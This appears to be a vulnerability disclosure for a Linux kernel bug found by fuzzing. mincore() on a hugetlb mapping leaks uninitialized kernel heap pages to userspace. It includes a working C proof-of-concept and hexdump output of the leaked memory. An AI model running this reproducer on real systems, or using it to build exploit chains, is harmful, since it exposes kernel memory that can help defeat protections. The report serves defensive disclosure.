Linux: mincore() discloses uninitialized kernel heap pages 




I found the following bug with an AFL-based fuzzer:

When __walk_page_range() is used on a VM_HUGETLB VMA, callbacks from the mm_walk structure are only invoked for present pages. However, do_mincore() assumes that it will always get callbacks for all pages in the range passed to walk_page_range(), and when this assumption is violated, sys_mincore() copies uninitialized memory from the page allocator to userspace.

This bug can be reproduced with the following testcase:


$ cat mincore_test.c
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/mman.h>
#include <err.h>
#include <stdio.h>

unsigned char mcbuf[0x1000];

int main(void) {
  if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE, MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED)
    err(1, "mmap");

  for (int i=0; i<10000; i++) {
    if (mincore((void*)0x86000000, 0x1000000, mcbuf))
      perror("mincore");
    write(1, mcbuf, 0x1000);
  }
}
$ gcc -o mincore_test mincore_test.c -Wall
$ ./mincore_test | hexdump -C | head
00000000  00 00 00 00 00 00 00 00  00 00 00 00 fe 01 00 00  |................|
00000010  80 49 3d 20 c6 e9 ff ff  c0 49 3d 20 c6 e9 ff ff  |.I= .....I= ....|
00000020  00 08 3c 20 c6 e9 ff ff  40 08 3c 20 c6 e9 ff ff  |..< ....@.< ....|
00000030  80 08 3c 20 c6 e9 ff ff  c0 08 3c 20 c6 e9 ff ff  |..< ......< ....|
00000040  00 09 3c 20 c6 e9 ff ff  40 09 3c 20 c6 e9 ff ff  |..< ....@.< ....|
00000050  80 09 3c 20 c6 e9 ff ff  c0 09 3c 20 c6 e9 ff ff  |..< ......< ....|
00000060  00 06 3c 20 c6 e9 ff ff  40 06 3c 20 c6 e9 ff ff  |..< ....@.< ....|
00000070  80 06 3c 20 c6 e9 ff ff  c0 06 3c 20 c6 e9 ff ff  |..< ......< ....|
00000080  00 07 3c 20 c6 e9 ff ff  40 07 3c 20 c6 e9 ff ff  |..< ....@.< ....|
00000090  80 07 3c 20 c6 e9 ff ff  80 78 84 0b c6 e9 ff ff  |..< .....x......|

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.



Found by: jannh